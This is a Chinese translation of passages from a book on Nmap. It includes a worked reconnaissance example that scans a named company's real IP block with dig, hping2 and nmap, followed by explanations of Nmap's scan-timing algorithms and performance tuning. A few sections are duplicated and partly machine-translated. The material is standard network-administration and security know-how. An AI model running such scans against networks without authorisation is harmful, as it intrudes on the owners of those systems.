playboy.com. 1D IN NS ns29.customer.level3.net.
playboy.com. 1D IN NS ns1-chi.playboy.com.
playboy.com. 1D IN NS ns2-chi.playboy.com.
playboy.com. 1D IN SOA ns1-chi.playboy.com. dns.playboy.com. (
2004092010 ; serial
12H ; refresh
2h30m ; retry
2w1d ; expiry
1D ) ; minimum
;; ADDITIONAL SECTION:
mx.chi.playboy.com. 1D IN A 216.163.143.4
mx.la.playboy.com. 1D IN A 216.163.128.15
ns1-chi.playboy.com. 1D IN A 209.247.228.135
ns2-chi.playboy.com. 1D IN A 64.202.105.36
;; Total query time: 107 msec
DNS 查询显示目标 216.163.128.0/20 网络块内的两个 MX(邮件)服务器。由于名称mx.chi
和mx.la
暗示它们位于不同的地区(芝加哥和洛杉矶),我决定测试它们的延迟。ping结果如示例4.8所示。
core~>ping -c5 mx.chi.playboy.com
PING mx.chi.playboy.com (216.163.143.4) 56(84) bytes of data. --- mx.chi.playboy.com ping statistics --- 5 packets transmitted, 0 received, 100% packet loss, time 4000ms core~>ping -c5 mx.la.playboy.com
PING mx.la.playboy.com (216.163.128.15) 56(84) bytes of data. --- mx.la.playboy.com ping statistics --- 5 packets transmitted, 0 received, 100% packet loss, time 4011ms
好吧,这次尝试是一次悲惨的失败! 这些主机似乎阻止了ICMP ping数据包。由于它们是邮件服务器,它们必须打开TCP 25端口,所以我再次尝试使用hping2对端口25进行TCP ping,如例4.9所示。
core#hping2 --syn -p 25 -c 5 mx.chi.playboy.com
eth0 default routing interface selected (according to /proc) HPING mx.chi.playboy.com (eth0 216.163.143.4): S set, 40 headers + 0 data bytes 46 bytes from 216.163.143.4: flags=SA seq=0 ttl=51 id=14221 rtt=56.8 ms 46 bytes from 216.163.143.4: flags=SA seq=1 ttl=51 id=14244 rtt=56.9 ms 46 bytes from 216.163.143.4: flags=SA seq=2 ttl=51 id=14274 rtt=56.9 ms 46 bytes from 216.163.143.4: flags=SA seq=3 ttl=51 id=14383 rtt=61.8 ms 46 bytes from 216.163.143.4: flags=SA seq=4 ttl=51 id=14387 rtt=57.5 ms --- mx.chi.playboy.com hping statistic --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 56.8/58.0/61.8 ms core#hping2 --syn -p 25 -c 5 mx.la.playboy.com
eth0 default routing interface selected (according to /proc) HPING mx.la.playboy.com (eth0 216.163.128.15): S set, 40 headers + 0 data bytes 46 bytes from 216.163.128.15: flags=SA seq=0 ttl=52 id=58728 rtt=16.0 ms 46 bytes from 216.163.128.15: flags=SA seq=1 ttl=52 id=58753 rtt=15.4 ms 46 bytes from 216.163.128.15: flags=SA seq=2 ttl=52 id=58790 rtt=15.5 ms 46 bytes from 216.163.128.15: flags=SA seq=3 ttl=52 id=58870 rtt=16.4 ms 46 bytes from 216.163.128.15: flags=SA seq=4 ttl=52 id=58907 rtt=15.5 ms --- mx.la.playboy.com hping statistic --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 15.4/15.8/16.4 ms
(译者注:这里明明可以用nmap但是为什么要hping2,因为nmap不能对单个syn计时)
这些是我一直在寻找的结果。洛杉矶主机的响应时间从不超过 16 毫秒,而芝加哥主机的响应时间长达 62 毫秒。这并不奇怪,因为我正在加利福尼亚的一台机器上进行探测。谨慎是值得的,在大量扫描期间延迟会增加,所以我决定让 Nmap 等待最多 200 毫秒的响应。我将让它从 150 毫秒的超时开始。所以我把 options 传递给它--max-rtt-timeout 200ms --initial-rtt-timeout 150ms
。要设置一般激进的计时模式,我在行的开头指定了-T4。
由于我重视最小化整个扫描的完成时间而不是最小化返回第一批主机结果之前的时间量,因此我指定了较大的扫描组大小。指定该选项 --min-hostgroup 512
以便并行扫描至少 512 个 IP(如果可能)使用目标网络大小(4096)的精确因数,可以防止在最后出现96个主机块的小而低效的情况,如果我指定了--min-hostgroup 500,就会在最后出现这种情况(译者注:4096/500余96)。所有这些计时问题在第 6 章“优化 Nmap 性能”中有更深入的解释。
无需在之前的 ping 阶段浪费时间,因为 ping 所需的时间与单端口扫描本身一样长。所以 -Pn
指定禁用该阶段。通过使用参数跳过反向 DNS 解析可以节省大量时间 -n
。否则,在禁用 ping 扫描的情况下,Nmap 将尝试查找所有 4096 个 IP。我正在搜索 Web 服务器,所以我请求端口 80 与 -p80
. 当然,我会错过任何运行在非标准端口(例如 81 或 8080)上的 HTTP 服务器。端口 443 上的 SSL 服务器也找不到。可以将它们添加到-p
选项中,但即使多一个端口也会使扫描时间加倍,这大致与扫描的端口数量成正比。
最后一个选项-oG
后面是我想要存储 grepable 结果的文件名。我将目标网络附加到命令中,然后按回车键执行 Nmap。输出如示例 4.10所示。
# nmap -T4 -p80 -Pn --max-rtt-timeout 200ms --initial-rtt-timeout 150ms \
--min-hostgroup 512 -n -oG pb-port80scan-%D.gnmap 216.163.128.0/20
Warning: You specified a highly aggressive --min-hostgroup.
Starting Nmap ( http://nmap.org )
Nmap scan report for 216.163.128.0
PORT STATE SERVICE
80/tcp filtered http
Nmap scan report for 216.163.128.1
PORT STATE SERVICE
80/tcp filtered http
Nmap scan report for 216.163.128.2
PORT STATE SERVICE
80/tcp filtered http
Nmap scan report for 216.163.128.3
PORT STATE SERVICE
80/tcp filtered http
[ ... ]
Nmap scan report for 216.163.143.255
PORT STATE SERVICE
80/tcp filtered http
Nmap done: 4096 IP addresses (4096 hosts up) scanned in 192.97 seconds
Nmap在大约三分钟内扫描了所有4096个IP。正常输出显示一堆端口处于被过滤状态。这些IP中的大多数可能不是活跃的主机--端口出现被过滤只是因为Nmap没有收到对其SYN探测的响应。我在输出文件上用一个简单的egrep得到网络服务器的列表,如例4.11所示。
# egrep '[^0-9]80/open' pb-port80scan-*.gnmap
Host: 216.163.140.20 () Ports: 80/open/tcp//http///
Host: 216.163.142.135 () Ports: 80/open/tcp//http///
经过这么多努力,在4096个IP中只找到两个可访问的网络服务器! 有时会发生这种情况。第一个,216.163.140.20(没有反向DNS名称)把我带到一个微软的Outlook Web Access(网络邮件)服务器。如果我试图破坏他们的网络,这可能会让我兴奋,但现在并不令人满意。下一个服务器(反向名称mirrors.playboy.com)要好得多。它提供了我所希望的那些数千兆字节的免费图像 特别是它提供了Linux的ISO镜像,以及大量的FreeBSD、CPAN和Apache档案 我下载最新的Fedora Core ISO的速度是6Mbps。花花公子的大带宽并不令人惊讶。后来我扫描了花花公子的其他网块,发现还有几十个网络服务器,尽管它们的一些内容对本书来说是不合适的。
虽然这是一个不常见的端口扫描的原因,但单端口扫描在前面提到的许多其他目的中很常见。这里描述的技术可以很容易地应用于任何单端口的TCP扫描。
另见
版本检测可用于查找在网络上侦听的特定应用程序。例如,您可以寻找某个易受攻击的 OpenSSH 版本,而不是找到所有开放了 22 端口的主机。这对于单端口 UDP 扫描也很有用,因为此解决方案中的技术仅适用于 TCP。“解决方案:查找所有运行不安全或非标准应用程序版本的服务器”一节中提供了说明。
第 6 章,优化 Nmap 性能更深入地探讨了扫描速度优化。
译者注:有时候我们不关心开放端口而是运某些行的服务的主机
5. 端口扫描技术和算法
介绍
TCP SYN(隐身)扫描 ( -sS)
TCP 连接扫描 ( -sT)
UDP 扫描 ( -sU)
区分开放和过滤的 UDP 端口
加速 UDP 扫描
TCP FIN、NULL 和 Xmas 扫描 ( -sF, -sN, -sX)
自定义扫描类型 --scanflags
自定义 SYN/FIN 扫描
PSH扫描
TCP ACK 扫描 ( -sA)
TCP window 扫描 ( -sW)
TCP Maimon 扫描 ( -sM)
TCP 空闲扫描 ( -sI)
一步一步空闲扫描
寻找工作的空闲扫描僵尸主机
执行空闲扫描
空闲扫描实现算法
IP 协议扫描 ( -sO)
TCP FTP 反弹扫描 ( -b)
扫描代码和算法
网络状态监测
主机和端口并行化
往返时间估计
拥塞控制
定时探针
推测的邻居时间
自适应重传
扫描延迟
介绍
重复部分略。。。
第四章 端口扫描概述 概括地描述了用Nmap进行的端口扫描,包括在 "选择扫描技术 "一节中对Nmap支持的扫描类型进行了简要总结。第五章 端口扫描技术和算法 深入描述每一种扫描类型。每种扫描类型都有典型的使用场景和说明,还有图解它们是如何工作的线上数据包追踪。然后讨论了ultra_scan算法(大多数扫描方法都使用这种算法),其重点是性能优化调控方面。
当讨论Nmap如何处理探测响应时,许多章节按类型和代码号讨论ICMP错误消息。类型和代码是ICMP头文件中的每个8位字段,描述消息的目的。Nmap端口扫描技术只关注ICMP类型3,即目的地不可达消息。图5.1显示了这种数据包的ICMP头的布局(它被封装在IP数据包的数据部分,如图1 "IPv4头 "所示)。
图5.1. ICMPv4目的地不可达的头的布局
有十六个代码值代表不同的目的地不可达消息。它们都显示在表 5.1中,尽管 Nmap 只关心代码 0-3、9、10 和 13,它们标有星号。
重复部分略。。。
TCP SYN(隐身)扫描 ( -sS)
TCP 连接扫描 ( -sT)
UDP 扫描 ( -sU)
TCP FIN、NULL 和 Xmas 扫描 ( -sF, -sN, -sX)
自定义扫描类型 --scanflags
TCP ACK 扫描 ( -sA)
TCP window 扫描 ( -sW)
TCP Maimon 扫描 ( -sM)
TCP 空闲扫描 ( -sI)
IP 协议扫描 ( -sO)
TCP FTP 反弹扫描
扫描代码和算法
2004年,Nmap的主要端口扫描引擎被重写,以提高性能和准确性。新引擎,以其函数名称命名为ultra_scan,处理SYN, connect, UDP, NULL, FIN, Xmas, ACK, window, Maimon, 和IP协议扫描,以及各种主机发现扫描。这样就只剩下空闲扫描和FTP反弹扫描使用它们自己的引擎。
虽然本章中的图表显示了每种扫描类型的工作原理,但 Nmap 实现要复杂得多,因为它必须担心端口和主机并行化、延迟估计、丢包检测、定时配置文件、异常网络环境、包过滤器、响应速率限制,等等。
本节并未提供 ultra_scan
引擎的所有底层细节。如果您有足够的好奇心,您最好从源代码中得到它。您可以从Nmap tarball中找到ultra_scan和它在scan_engine.cc中定义的高级辅助函数。这里我介绍最重要的算法特性。理解这些有助于优化您的扫描以获得更好的性能,如第6章,优化Nmap性能中所述。
网络环境监测
一些作者吹嘘说,由于无状态操作,他们的扫描器比 Nmap 更快。 他们只是简单地发出大量数据包,然后听取响应并希望获得最好的结果。虽然这对于快速调查和其他速度比全面性和准确性更重要的情况可能有价值,但我认为它不适合安全扫描。无状态扫描器无法检测丢弃的数据包以重新传输和限制其发送速率。如果一个繁忙的路由器在网络路径的半路上丢掉了扫描器80%的数据包,扫描器仍然会认为运行成功,并打印出非常不准确的结果。另一方面,Nmap 在运行时将大量状态保存在 RAM 中。通常有足够的可用内存,即使在 PDA 上也是如此。Nmap用序列号、源或目的端口、ID字段或其他方面(取决于探测类型)标记每个探针,这使它能够识别响应(并因此丢弃)。然后它会适当地调整它的速度,以保持网络(和给定的命令行选项)允许的最快速度,而不至于越界和遭受不准确或不公平地占用一个共享网络。一些没有安装IDS的管理员可能不会注意到Nmap对他们整个网络的SYN扫描。但你最好相信,如果你用一个暴力的数据包泛洪扫描器,影响了他的ping抖动时间,管理员会调查的!
虽然Nmap的拥塞控制算法被推荐用于大多数扫描,但它们可以被覆盖。--min-rate选项以您指定的速率(或更高)发送数据包,即使这超过了Nmap的正常拥塞控制限制。同样,--max-retries选项控制Nmap可以重传一个数据包的次数。像 --min-rate 100 --max-retries 0这样的选项将模拟简单的无状态扫描器的行为。您可以通过指定每秒200个数据包而不是100个来增加速度,但不要太贪心--如果结果是错误的或不完整的,极快的扫描就没有什么价值。任何使用--min-rate的行为都要自己承担风险。
主机和端口并行化
本章中的大多数图表都说明了使用一种技术来确定单个端口的状态。发送探针并接收响应至少需要一个源计算机和目标计算机之间的往返时间 (RTT)。如果您的 RTT 为 200 毫秒,并且您正在扫描一台机器上的 65,536 个端口,那么串行处理它们至少需要 3.6 小时。以这种方式扫描一个由 20,000 台机器组成的网络,等待时间膨胀到八年多。这显然是不可接受的,因此 Nmap 将其扫描并行化,并且能够同时扫描数十台机器中的每台机器上的数百个端口。这将速度提高了几个数量级。它一次扫描的主机和端口的数量取决于第 6 章中描述的参数,优化 Nmap 性能,包括 --min-hostgroup
, --min-parallelism
, -T4
,--max-rtt-timeout
和许多其他的。它还取决于 Nmap 检测到的网络环境。
当扫描多台机器时,Nmap 会尝试在它们之间有效地分散负载。如果一台机器显得不堪重负(丢包或延迟增加),Nmap 会减慢该主机的速度,同时继续全速扫描其他主机。
往返时间估计
每次收到探针响应时,Nmap 都会计算自发送以来经过的微秒。我们将其称为 instanceRTT,Nmap 使用它来保持三个与时间相关的关键值的运行记录:srtt
、rttvar
和timeout
。Nmap 为每个主机保留单独的值,并为并行扫描的整组主机保留合并值。它们的计算如下:
srtt
-
平滑的平均往返时间。这是 Nmap 使用的最准确的 RTT 猜测。该公式不使用真正的算术平均值,而是倾向于最近的结果,因为网络环境经常变化。公式为:
newsrtt = oldsrtt + (instanceRTT - oldsrtt) / 8
rttvar
-
这是在往返时间中观察到的方差或偏差。这个想法是,如果 RTT 值非常一致,Nmap可以在等待srtt后很快放弃。 如果方差很高,Nmap必须在放弃一个探针之前等待比srtt更长的时间,因为相对慢的响应是很常见的。公式如下(ABS代表绝对值操作)。
newrttvar = oldrttvar + (ABS(instanceRTT - oldsrtt) - oldrttvar) / 4
timeout
-
这是 Nmap 在放弃探测之前愿意等待的时间。计算如下:
timeout = newsrtt + newrttvar * 4
当探针超时时,Nmap 可能会重新传输探针或分配端口状态,例如
filtered
(取决于扫描类型)。Nmap 即使在超时后也会保留一些状态信息,以防万一在整个扫描仍在进行时迟来的响应到达。
这些简单的时间估计公式似乎工作得很好。它们大致基于 TCP 使用的类似技术,并在RFC 2988, Computing TCP's Retransmission Timer中进行了讨论。多年来,我们优化了这些算法,以更好地适应端口扫描。
拥塞控制
重传计时器远非 Nmap 从 TCP 收集到的唯一技术。由于 Nmap 最常与 TCP 一起使用,因此遵循许多与tcp相同的规则是公平的。特别是因为这些规则是对最大化吞吐量进行大量研究的结果,而不会退化为每个人都自私地占用网络的公地悲剧。使用其默认选项,Nmap 相当有礼貌。Nmap 使用三种以 TCP 为模型的算法来控制扫描的激进程度:拥塞窗口、指数退避和慢启动。拥塞窗口控制 Nmap 一次可以有多少探测未完成。如果窗口已满,Nmap 将不再发送,直到收到响应或探测超时。指数退避会导致 Nmap 在检测到丢弃的数据包时显着减慢。每当检测到丢包时,拥塞窗口通常会减少到一个。尽管名字里有慢,慢速启动是一个相当快的算法,用于逐步提高扫描速度以确定网络的性能极限。
所有这些技术都在RFC 2581,TCP 拥塞控制中进行了描述。该文件由网络专家 Richard Stevens、Vern Paxson 和 Mark Allman 撰写。它只有 10 页长,任何对实现高效 TCP 栈(或其他网络协议或端口扫描器)感兴趣的人都会发现它很吸引人。
当 Nmap 扫描一组目标时,它会在内存中维护每个目标的拥塞窗口和阈值,以及整个组的窗口和阈值。拥塞窗口是一次可以发送的探测数。拥塞阈值定义了慢启动和拥塞避免模式之间的边界。在慢启动期间,拥塞窗口响应响应迅速增长。一旦拥塞窗口超过拥塞阈值,拥塞避免模式开始,在此期间拥塞窗口增加得更慢。在丢包之后,拥塞窗口和阈值都减小到它们之前值的一个分数。
然而,TCP 流和 Nmap 端口扫描之间有一个重要的区别。在 TCP 流中,通常期望 ACK 响应每个发送的数据包(或至少大部分数据包)。事实上,拥塞窗口的适当增长取决于这个假设。Nmap 经常发现自己处于不同的情况:面对一个默认拒绝的目标 防火墙,很少有发送的数据包会得到响应。当 ping 扫描仅包含少数活动主机的网络地址块时,也会发生同样的事情。为了弥补这一点,Nmap 会跟踪发送的数据包与收到的响应的比率。任何时候组拥塞窗口发生变化,变化量都会乘以这个比率。换句话说,当很少的数据包接收到响应时,每个响应都会承载更多的权重。
图 5.9显示了在典型端口扫描期间组拥塞窗口和阈值如何变化的图形描述 。拥塞窗口显示为黑色,拥塞阈值显示为灰色。
拥塞窗口从低开始,拥塞阈值从高开始。慢启动模式开始,窗口大小迅速增加。大的“阶梯式”跳跃是计时 ping 的结果。在大约 10 秒时,当检测到丢包时,拥塞窗口已增长到 80 个探测。拥塞窗口和阈值都减小了。当检测到另一个丢弃时,拥塞窗口继续增长直到大约 80 秒。然后循环重复,这在网络环境稳定时很典型。
扫描过程中的跌落没什么好怕的。拥塞控制算法的目的是动态探测网络以发现其容量。以这种方式来看,丢弃是有价值的反馈,有助于 Nmap 确定拥塞窗口的正确大小。
定时探针
本算法部分讨论的每项技术都涉及(在某种程度上)网络监测,以检测和估计网络数据包丢失和延迟。这对于获得快速的扫描时间确实是至关重要的。不幸的是,在扫描严重防火墙的系统时,往往很难得到好的数据。这些过滤器经常丢弃绝大多数数据包而没有任何反应。Nmap可能要发送20,000个探针或更多才能找到一个有反应的端口,这使得它很难监测网络状况。
为了解决这个问题,Nmap 使用定时探测,也称为端口扫描 ping。如果 Nmap 在重度过滤的主机上发现至少一个端口响应,它会每隔 1.25 秒向该端口发送一次探测,而不会收到来自任何其他端口的响应。这允许 Nmap 进行足够级别的监控,以在网络条件允许的情况下加快或减慢其扫描速度。
推断的邻居时间
有时甚至端口扫描 ping 也无济于事,因为根本没有找到响应端口。机器可能已关闭(并使用 -Pn扫描),或者每个端口都可能被过滤。或者也许目标确实有几个响应端口,但 Nmap 还没有幸运地找到它们。在这些情况下,Nmap 使用它为同时扫描的整组机器维护的计时值。只要至少收到来自组中任何一台机器的响应,Nmap 就可以使用。当然,Nmap不能假定一个组中的主机总是有类似的时间特征。所以Nmap跟踪一个组中有响应的主机之间的时间差异。如果它们差别很大,为了安全起见,Nmap为相邻的主机推断一个长的超时。
自适应重传
最简单的扫描器(和无状态的扫描器)通常根本不重传探测。它们只是向每个端口发送一个探针,并根据响应或不响应进行报告。稍微复杂一点的扫描器会重传一定的次数。Nmap试图更聪明一些,对目标的每次扫描都保持仔细的丢包统计。如果没有检测到丢包,Nmap在没有收到探测响应时可能只重传一次。当大量丢包很明显时,Nmap可能重发10次或更多。这允许Nmap快速扫描快速可靠网络上的主机,而在扫描有问题的网络或机器时保持准确性(以牺牲一些速度为代价)。不过即使Nmap的耐心也不是无限的。在某一点上(10次重传),Nmap会打印一个警告并放弃进一步重传。这可以防止恶意主机用故意丢包、反应慢和类似的诡计使Nmap的速度太慢。这种技术被称为tarpitting,通常用来对付垃圾邮件发送者。
扫描延迟
数据包响应速率限制可能是 Nmap 等端口扫描器面临的最有害的问题。例如,Linux 2.4 内核限制-sU
在 UDP ( ) 或 IP 协议 ( ) 扫描 期间返回的 ICMP 错误消息-sO
每秒一条。如果 Nmap 将这些视为正常下降,它将持续减速(记住指数退避),但最终仍会导致绝大多数探测下降。相反,Nmap 会尝试检测这种情况。 当大部分数据包被丢弃时,它会在发送到单个目标的每个探测之间实现短暂的延迟(低至 5 毫秒)。如果丢包仍然是一个主要问题,Nmap 将继续加倍延迟,直到丢包停止或 Nmap 达到允许的最大扫描延迟。UDP 扫描响应速率受限的 Linux 主机的端口 1-50 时扫描延迟的影响 如图 5.10所示。一开始,扫描速率不受扫描延迟的限制,当然其他机制(如拥塞控制)也有自己的限制。当检测到水滴时,扫描延迟加倍,这意味着最大扫描速率有效减半。例如,在图中,每秒 5 个数据包的最大扫描速率对应于 200 毫秒的扫描延迟。
数据包响应速度限制也许是Nmap等端口扫描器面临的最有害的问题。例如,Linux 2.4内核把UDP (-sU)或IP协议(-sO)扫描期间返回的ICMP错误信息限制为每秒一条。如果Nmap把这些算作正常的丢弃,它就会不断地放慢速度(记住指数退避),但最终还是有绝大部分探测被丢弃。相反,Nmap试图检测这种情况。当很大比例的数据包被丢弃时,它在每个发送到单个目标的探针之间实现一个短的延迟(少到5毫秒)。如果丢包仍然是一个主要问题,Nmap会继续加倍延迟,直到丢包停止或者Nmap达到允许的最大扫描延迟。图5.10显示了在UDP扫描一个响应速度有限的Linux主机的1-50端口时扫描延迟的影响。开始的时候,扫描速率是不受扫描延迟限制的,当然其他机制如拥塞控制也有自己的限制。当检测到丢包时,扫描延迟会增加一倍,这意味着最大的扫描速率实际上减半。例如,在图中,每秒五个数据包的最大扫描速率对应于200毫秒的扫描延迟。
最大的扫描延迟默认为探测之间的一秒钟。当一台慢速主机无法跟上时,有时会启用扫描延迟,即使该主机没有明确的速率限制规则。这可以通过减少浪费(丢弃)的探测数据包来大大减少网络总流量。不幸的是,即使很小的扫描延迟值也会使扫描时间延长几倍。Nmap默认是保守的,允许TCP和UDP探针的扫描延迟为2秒长。如果您的优先级不同,您可以用 --max-scan-delay配置最大扫描延迟,如第5章,端口扫描技术和算法中讨论的。
6.性能优化(暂时采用谷歌机翻)
介绍
扫描时间缩减技术
省略非关键测试
优化计时参数
区分和优化 UDP 扫描
升级 Nmap
执行并发 Nmap 实例
从有利的网络位置扫描
增加可用带宽和 CPU 时间
长扫描的应对策略
使用多阶段方法
估计和计划扫描时间
端口选择数据和策略
底层计时控制
计时模板 ( -T)
46 小时内扫描 676,352 个 IP 地址
简介
我的Nmap开发的最高优先级之一一直是性能。对我本地网络上的一个主机进行默认扫描(nmap <hostname>)需要五分之一秒。这几乎不够眨眼的时间,但是当您扫描成百上千的主机时,时间就会增加。此外,某些扫描选项,如UDP扫描和版本检测,可以大大增加扫描时间。某些防火墙配置也会如此,特别是响应速度限制。虽然Nmap利用并行性和许多高级算法来加速这些扫描,但用户对Nmap的运行有最终控制权。专家级用户精心设计Nmap命令,只获得他们关心的信息,同时满足他们的时间限制。
虽然Nmap的性能是一个高度优先事项,但准确性甚至更重要。竞争性扫描器的作者在会议上高调地介绍他们的扫描器如何只需要4秒钟就能扫描整个B类地址空间。这些扫描器的编写其实很简单,因为它们省略了所有的拥堵控制和丢包检测算法,只留下一个紧密的循环,以系统可以产生或电线可以承受的速度喷出探测数据包。这样的扫描器经常被宣传为无状态--意味着它们也省略了跟踪和重传探测的代码。您可以用Nmap实现类似的行为,方法是添加标志,比如 --min-rate 1000要求Nmap每秒至少发送1000个数据包,以及 --max-retries 0禁止重发超时的探测数据。但我很少推荐这样做。99%的数据包可能被上游的下一个路由器丢掉,而扫描器永远不会知道其中的差别。
无计量的数据包爆炸扫描器,如Scanrand,在某些情况下是有用的,但Nmap采取更保守和准确的方法。Nmap一开始假定目标网络是最坏的(高延迟和丢包),然后在它收集的统计数据显示它可以安全地这样做时加快速度。虽然这是自动发生的,但管理员可以通过向Nmap传递关于网络的提示来加快学习过程。这种提示的一个例子是 --max-rtt-timeout 200ms,它允许Nmap假定对目标主机探测的任何响应都在200毫秒之内。
本章首先讨论了改善扫描时间的高级方法。然后它涵盖了如何用计时模板和低级控制来加速Nmap而不影响准确性。它以梅奥诊所的Jack Mogren的教程结束,详细介绍了他如何把对他的676,352个IP网络的扫描时间从近一周提高到46小时。考虑到扫描仪性能的巨大重要性,这一章可能看起来很短。这是因为这一章的重点是高层次的一般扫描性能提示,而优化特定扫描技术的提示则分布在本书中涉及这些技术的地方。
扫描时间减少技术
长扫描时间的理想解决方案是减少它们。本节提供了许多这样做的高级技巧。与生活中的许多情况不同,调整 Nmap 命令行可以产生巨大的影响。用咖啡罐排气嘴、三英尺高的扰流板和大红色“ R 型”贴纸热轧您的本田雅阁不会减少您的 0-60 倍。然而,名为“在 46 小时内扫描 676,352 个 IP 地址”的部分描述了 Jack Mogren 如何通过在他的 Nmap 命令行中添加一些贴纸(我的意思是选项)来缩短他的 Nmap 运行时间。
省略非关键测试
当您从不离开人行道或携带超过杂货时购买悍马的电子等效物是启动强烈而全面的Nmap扫描以获得相对微不足道的信息量。在家庭网络中,每台主机浪费几秒钟的时间很少有问题,但对于大型企业来说,每天的 WAN 扫描是不可行的。下面的列表详细介绍了避免常见过度扫描错误的方法,从最严重的问题开始,然后是更微妙的优化,即使是高级用户也经常忘记。
-sn
当您只需要确定哪些主机在线时,请 跳过端口扫描 ( )。-
有些人使用命令nmap
<hostname>
确定主机是否在线 。虽然这有效,但它是矫枉过正的。Nmap 会发送四个数据包来确定主机是否已启动,然后至少对主机进行 1000 个端口扫描。当以这种方式扫描整个网络以查找所有在线主机或一个特定主机时,问题会被放大。 - 限制扫描的端口数。
-
默认情况下,Nmap 会扫描最常见的 1000 个端口。在响应速度快的机器网络上,这可能需要每台主机几分之一秒的时间。但是,当 Nmap 遇到速率限制或防火墙丢弃探测数据包而没有响应时,它必须大幅减速。由于这些原因,UDP 扫描可能非常缓慢。然而,绝大多数开放端口都只有几百个端口号。如果您只扫描 100 个端口而不是默认的 1,000 个端口,则端口扫描的速度大约会快 10 倍。您可以使用(快速扫描)选项仅扫描最流行的 100 个端口
-F
,使用 指定任意数量的最常打开的端口--top-ports
,或提供自定义端口列表到-p
。 - 跳过高级扫描类型(
-sC
、-sV
、-O
、--traceroute
和-A
)。 - 有些人经常指定
操作系统检测并不像版本检测那么慢,但它仍然可以轻松地占用每个在线主机 5-10 秒。即使没有这个,您也经常可以根据 LAN 上的名称、开放端口和 MAC 地址来猜测操作系统。在许多情况下,您可能并不关心操作系统。
-O
另一个仅在必要时使用的候选者也是如此。作为妥协,您可以指定--osscan-limit --max-os-tries 1
它告诉 Nmap 不要重试不匹配的操作系统检测尝试,并跳过对任何没有至少一个打开的 TCP 端口和一个关闭的 TCP 端口的在线主机的操作系统检测。无论如何,操作系统检测对此类主机并不准确。 - 请记住在不需要时关闭 DNS 解析。
-
默认情况下,Nmap 对每一个被发现在线的主机执行反向 DNS 解析。如果您使用
-Pn
或指定 跳过 ping 步骤,则会针对所有主机执行此操作-R
。 当主机 DNS 库用于一次查找一个 IP 时,这是一个主要瓶颈。虽然 Nmap 现在有一个快速的并行反向 DNS 系统来加速查询,但它们仍然需要大量时间。
-n
当您不需要数据时,使用该选项禁用它们。对于针对大量主机的简单扫描(例如 ping 扫描),省略 DNS 有时可以将扫描时间减少 20% 或更多。在探测数千个端口或利用诸如版本检测等密集功能的更复杂的扫描中,DNS 时间并不是主要因素。如果您希望 Nmap 主机处理名称解析(使用该gethostbyaddr
函数),请指定该--system-dns
选项。这样做会大大减慢扫描速度。
Nmap 提供了许多选项来提供控制扫描活动的提示和规则。这些范围从由提供的高级时序激进级别 -T
选项(在“时序模板 ( -T
)”一节中描述)到“低级时序控件”一节中描述的更细粒度的控件 。你甚至可以将两者结合起来。这些选项在扫描高度过滤的网络时特别有用,其中 Nmap 接收到很少的响应来确定它自己的时间估计。扫描时间通常可以安全地减半。大多数这些选项对充满响应主机的本地 LAN 几乎没有影响,因为 Nmap 可以在这种情况下自行确定最佳值。
分离和优化 UDP 扫描
扫描 UDP 端口很重要,因为许多易受攻击的服务都使用该协议,但 UDP 扫描的时间特征和性能要求与 TCP 扫描有很大不同。特别值得关注的是 ICMP 错误率限制,它非常常见,并且比 TCP 更频繁地影响 UDP 扫描。
由于这些原因,我不建议在性能至关重要时结合 TCP 和 UDP 扫描,即使 Nmap 支持使用诸如-sSU
. 您通常需要为每个协议设置不同的时序标志,这需要单独的命令行。 名为“加速 UDP 扫描”的部分提供了提高 UDP 扫描性能的宝贵技巧和真实示例。
升级 Nmap
在很多案例中,我调查了 Nmap 性能不佳的报告,却发现报告者使用了一个已经过时多年的古老版本。最新版本的 Nmap 具有重要的算法改进、错误修复、本地网络 ARP 扫描等性能增强功能等。对性能问题的第一反应应该是将您的 Nmap 版本(运行nmap -V)与http://nmap.org提供的最新版本进行比较。必要时升级。如果仍然不够快,请尝试本章中的其他技术。
执行并发 Nmap 实例
有些人试图通过针对一个目标并行执行多个副本来加速 Nmap。例如,Nessus 扫描仪 默认情况下用于执行此操作。这通常比让 Nmap 在整个网络上运行效率低得多,速度也慢得多。Nmap有自己的并行化 根据其需求定制的系统,并且 Nmap 能够在扫描大型组时了解网络可靠性,从而加快速度。此外,要求操作系统分叉 65,536 个单独的 Nmap 实例以扫描 B 类会产生大量开销。并行运行数十个 Nmap 副本也会消耗内存,因为每个实例都会加载自己的数据文件副本,例如 nmap-services
和 nmap-os-db
。
虽然并行启动单主机 Nmap 扫描是一个坏主意,但通常可以通过将扫描分成几个大组并同时执行这些组来提高整体速度。不过不要过火。五个或十个 Nmap 进程都可以,但不建议一次启动 100 个 Nmap 进程。启动过多的并发 Nmap 进程会导致资源争用。另一种并发是同时从不同的主机运行 Nmap。你可以有cron(或At在 Windows 上)安排每个网络上的本地主机同时开始扫描它们本地的计算机,然后将结果邮寄到中央数据服务器。从美国扫描您的澳大利亚网络将比从该网络上的本地计算机扫描要慢。如果美国机器必须通过额外的防火墙才能到达远程网络,则差异会更大。
从有利的网络位置扫描
限制性防火墙可以将五秒钟的扫描变成数小时的工作。延迟 和丢包 与某些 Internet 路由相关联也无济于事。如果您可以从目标网络本地的主机运行 Nmap,请执行此操作。当然,如果目标是像外部攻击者那样查看网络,或者测试防火墙,则需要进行外部扫描。另一方面,扫描和保护内部网络提供了深度防御,这对于抵御内部威胁和绕过防火墙的狡猾攻击者至关重要(请参阅第 10 章,检测和破坏防火墙和入侵检测系统)。
在进行反向 DNS 解析时,特别是如果您有一个负担沉重的本地名称服务器,它可以帮助使用不太繁忙的名称服务器或直接查询权威名称服务器. 这种增益通常很小,只有在重复或大量扫描时才值得这样做。当然,有时选择名称服务器有非性能原因。
增加可用带宽和 CPU 时间
您偶尔可以通过增加可用带宽或 CPU 能力来改善 Nmap 扫描时间。这可以通过安装新的数据线或 CPU 或通过停止竞争这些资源的同时运行的应用程序来完成。例如,如果您同时通过下载The Matrix Reloaded的盗版 torrent 使您的 DSL 线路饱和,则 Nmap 将运行得更慢。
Nmap 受到其自身拥塞控制算法的约束更为常见 而不是受 CPU 限制或受可用本地带宽限制。这些控件有助于防止网络泛滥并提高准确性。增加 CPU 功率和本地带宽无助于 Nmap 的这种自我限制——必须调整时序选项。您可以通过使用诸如Unix 上的top或Windows 上的任务管理器之类的应用程序监视 CPU 负载来测试 Nmap 是否受 CPU 限制 。如果您的 CPU 大部分时间都处于空闲状态,那么升级将无济于事。要测试 Nmap 的带宽使用情况,请以详细模式 ( -v
